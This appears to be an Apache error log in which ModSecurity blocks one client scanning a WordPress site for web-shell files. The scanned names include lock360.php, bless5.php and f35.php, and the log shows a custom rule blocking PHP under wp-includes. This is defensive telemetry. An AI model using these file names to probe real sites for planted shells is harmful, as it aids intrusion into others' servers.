[Wed Jan 07 00:51:37.159007 2026] [:error] [pid 45012:tid 45032] [client 4.194.99.99:17208] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aV09mRaMAxCuju1d0uZQNAAAANI"]
[Wed Jan 07 00:51:38.524191 2026] [:error] [pid 45012:tid 45035] [client 4.194.99.99:17267] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aV09mhaMAxCuju1d0uZQOQAAANU"]
[Wed Jan 07 00:51:39.957342 2026] [:error] [pid 45012:tid 45036] [client 4.194.99.99:17165] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aV09mxaMAxCuju1d0uZQPAAAANY"]
[Wed Jan 07 00:51:40.531494 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17260] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aV09nHoQaIDFMbT-XMwS9wAAAQc"]
[Wed Jan 07 00:51:41.691295 2026] [:error] [pid 44904:tid 44959] [client 4.194.99.99:17268] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww1.php"] [unique_id "aV09nTtieuI1BJEZcvd3TAAAAFI"]
[Wed Jan 07 00:51:42.743904 2026] [:error] [pid 44905:tid 44981] [client 4.194.99.99:17029] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aV09nru7ufwWVst9EAstnwAAAI0"]
[Wed Jan 07 00:51:43.741428 2026] [:error] [pid 44905:tid 44977] [client 4.194.99.99:17140] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aV09n7u7ufwWVst9EAstogAAAIk"]
[Wed Jan 07 00:51:44.993865 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17176] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aV09oLu7ufwWVst9EAstpQAAAIg"]
[Wed Jan 07 00:51:45.778015 2026] [:error] [pid 45012:tid 45038] [client 4.194.99.99:17211] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aV09oRaMAxCuju1d0uZQUwAAANg"]
[Wed Jan 07 00:51:46.809087 2026] [:error] [pid 45959:tid 45981] [client 4.194.99.99:17185] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aV09olajdn8P3hjgMYxElwAAAVM"]
[Wed Jan 07 00:51:47.441330 2026] [:error] [pid 45959:tid 45969] [client 4.194.99.99:17252] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aV09o1ajdn8P3hjgMYxEnAAAAUc"]
[Wed Jan 07 00:51:49.863984 2026] [:error] [pid 44903:tid 44918] [client 4.194.99.99:17097] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aV09pdhHqjs38zbkQPBcYwAAAAs"]
[Wed Jan 07 00:51:52.194974 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17210] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aV09qFajdn8P3hjgMYxErgAAAUo"]
[Wed Jan 07 00:51:54.143998 2026] [:error] [pid 44903:tid 44910] [client 4.194.99.99:17262] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV09qthHqjs38zbkQPBccgAAAAM"]
[Wed Jan 07 00:51:55.179673 2026] [proxy_fcgi:error] [pid 44905:tid 44982] [client 4.194.99.99:17235] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 00:51:58.082014 2026] [:error] [pid 44905:tid 44978] [client 4.194.99.99:17235] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aV09rru7ufwWVst9EAstwAAAAIo"]
[Wed Jan 07 00:52:00.264601 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17271] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV09sBaMAxCuju1d0uZQcQAAANA"]
[Wed Jan 07 00:52:01.856940 2026] [:error] [pid 44903:tid 44910] [client 4.194.99.99:17270] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV09sdhHqjs38zbkQPBcgAAAAAM"]
[Wed Jan 07 00:52:02.803712 2026] [:error] [pid 44905:tid 44972] [client 4.194.99.99:17205] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV09sru7ufwWVst9EAstyAAAAIQ"]
[Wed Jan 07 00:52:03.986403 2026] [:error] [pid 45012:tid 45023] [client 4.194.99.99:17101] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV09sxaMAxCuju1d0uZQeAAAAMk"]
[Wed Jan 07 00:52:04.724182 2026] [:error] [pid 44905:tid 44978] [client 4.194.99.99:17110] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV09tLu7ufwWVst9EAstzgAAAIo"]
[Wed Jan 07 00:52:05.470154 2026] [:error] [pid 44905:tid 44992] [client 4.194.99.99:17203] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV09tbu7ufwWVst9EAst1AAAAJg"]
[Wed Jan 07 00:52:06.178742 2026] [:error] [pid 45959:tid 45982] [client 4.194.99.99:17118] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV09tlajdn8P3hjgMYxEygAAAVQ"]
[Wed Jan 07 00:52:07.493408 2026] [:error] [pid 44904:tid 44946] [client 4.194.99.99:17189] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV09tztieuI1BJEZcvd3fQAAAEU"]
[Wed Jan 07 00:52:08.594258 2026] [:error] [pid 35140:tid 35158] [client 4.194.99.99:17106] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV09uHoQaIDFMbT-XMwTHAAAARA"]
[Wed Jan 07 00:52:09.734448 2026] [:error] [pid 44905:tid 44987] [client 4.194.99.99:17099] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV09ubu7ufwWVst9EAst4gAAAJM"]
[Wed Jan 07 00:52:10.095644 2026] [:error] [pid 44905:tid 44972] [client 4.194.99.99:17131] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV09uru7ufwWVst9EAst5gAAAIQ"]
[Wed Jan 07 00:52:10.881893 2026] [:error] [pid 44904:tid 44941] [client 4.194.99.99:17256] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aV09ujtieuI1BJEZcvd3hgAAAEA"]
[Wed Jan 07 00:52:11.889418 2026] [:error] [pid 35140:tid 35147] [client 4.194.99.99:17163] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV09u3oQaIDFMbT-XMwTJQAAAQU"]
[Wed Jan 07 00:52:12.772038 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17279] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV09vBaMAxCuju1d0uZQfgAAANA"]
[Wed Jan 07 00:52:13.853754 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17213] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV09vRaMAxCuju1d0uZQgAAAAMM"]
[Wed Jan 07 00:52:15.644902 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17105] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV09v3oQaIDFMbT-XMwTKgAAAQc"]
[Wed Jan 07 00:52:16.404762 2026] [:error] [pid 35140:tid 35158] [client 4.194.99.99:17351] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV09wHoQaIDFMbT-XMwTLAAAARA"]
[Wed Jan 07 00:52:16.846596 2026] [:error] [pid 35140:tid 35143] [client 4.194.99.99:17057] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV09wHoQaIDFMbT-XMwTLwAAAQE"]
[Wed Jan 07 00:52:17.508435 2026] [:error] [pid 45012:tid 45026] [client 4.194.99.99:17214] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV09wRaMAxCuju1d0uZQiQAAAMw"]
[Wed Jan 07 00:52:18.791131 2026] [:error] [pid 45959:tid 45981] [client 4.194.99.99:17147] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aV09wlajdn8P3hjgMYxE7gAAAVM"]
[Wed Jan 07 00:52:19.563319 2026] [:error] [pid 45959:tid 45971] [client 4.194.99.99:17139] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV09w1ajdn8P3hjgMYxE8wAAAUk"]
[Wed Jan 07 00:52:20.437579 2026] [:error] [pid 44905:tid 44983] [client 4.194.99.99:17082] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV09xLu7ufwWVst9EAst7QAAAI8"]
[Wed Jan 07 00:52:21.045832 2026] [:error] [pid 44904:tid 44942] [client 4.194.99.99:17396] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV09xTtieuI1BJEZcvd3mwAAAEE"]
[Wed Jan 07 00:52:21.677719 2026] [:error] [pid 45959:tid 45962] [client 4.194.99.99:17179] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aV09xVajdn8P3hjgMYxFAAAAAUA"]
[Wed Jan 07 00:52:22.113765 2026] [:error] [pid 44903:tid 44930] [client 4.194.99.99:17120] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aV09xthHqjs38zbkQPBcjAAAABY"]
[Wed Jan 07 00:52:23.176587 2026] [:error] [pid 45959:tid 45969] [client 4.194.99.99:17278] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aV09x1ajdn8P3hjgMYxFBwAAAUc"]
[Wed Jan 07 00:52:23.518640 2026] [:error] [pid 45959:tid 45965] [client 4.194.99.99:17090] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aV09x1ajdn8P3hjgMYxFCgAAAUM"]
[Wed Jan 07 00:52:24.356610 2026] [:error] [pid 44905:tid 44980] [client 4.194.99.99:17129] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aV09yLu7ufwWVst9EAst8wAAAIw"]
[Wed Jan 07 00:52:25.458529 2026] [:error] [pid 45012:tid 45029] [client 4.194.99.99:17119] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV09yRaMAxCuju1d0uZQkwAAAM8"]
[Wed Jan 07 00:52:26.164280 2026] [:error] [pid 45012:tid 45033] [client 4.194.99.99:17202] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV09yhaMAxCuju1d0uZQlgAAANM"]
[Wed Jan 07 00:52:26.633497 2026] [:error] [pid 45012:tid 45026] [client 4.194.99.99:17177] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV09yhaMAxCuju1d0uZQmAAAAMw"]
[Wed Jan 07 00:52:27.071844 2026] [:error] [pid 45012:tid 45035] [client 4.194.99.99:17114] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aV09yxaMAxCuju1d0uZQmgAAANU"]
[Wed Jan 07 00:52:27.490257 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17117] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV09yxaMAxCuju1d0uZQngAAAMM"]
[Wed Jan 07 00:52:28.024110 2026] [:error] [pid 35140:tid 35144] [client 4.194.99.99:17314] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV09zHoQaIDFMbT-XMwTPQAAAQI"]
[Wed Jan 07 00:52:28.921678 2026] [:error] [pid 44903:tid 44932] [client 4.194.99.99:17125] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV09zNhHqjs38zbkQPBckAAAABc"]
[Wed Jan 07 00:52:29.535866 2026] [:error] [pid 35140:tid 35148] [client 4.194.99.99:17397] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aV09zXoQaIDFMbT-XMwTQAAAAQY"]
[Wed Jan 07 00:52:30.264405 2026] [:error] [pid 44904:tid 44956] [client 4.194.99.99:17171] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV09zjtieuI1BJEZcvd3qwAAAE8"]
[Wed Jan 07 00:52:30.778815 2026] [:error] [pid 44903:tid 44927] [client 4.194.99.99:17259] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV09zthHqjs38zbkQPBckQAAABQ"]
[Wed Jan 07 00:52:31.592148 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:17234] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV09z7u7ufwWVst9EAst_wAAAJQ"]
[Wed Jan 07 00:52:32.478189 2026] [:error] [pid 35140:tid 35165] [client 4.194.99.99:17269] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV090HoQaIDFMbT-XMwTSAAAARc"]
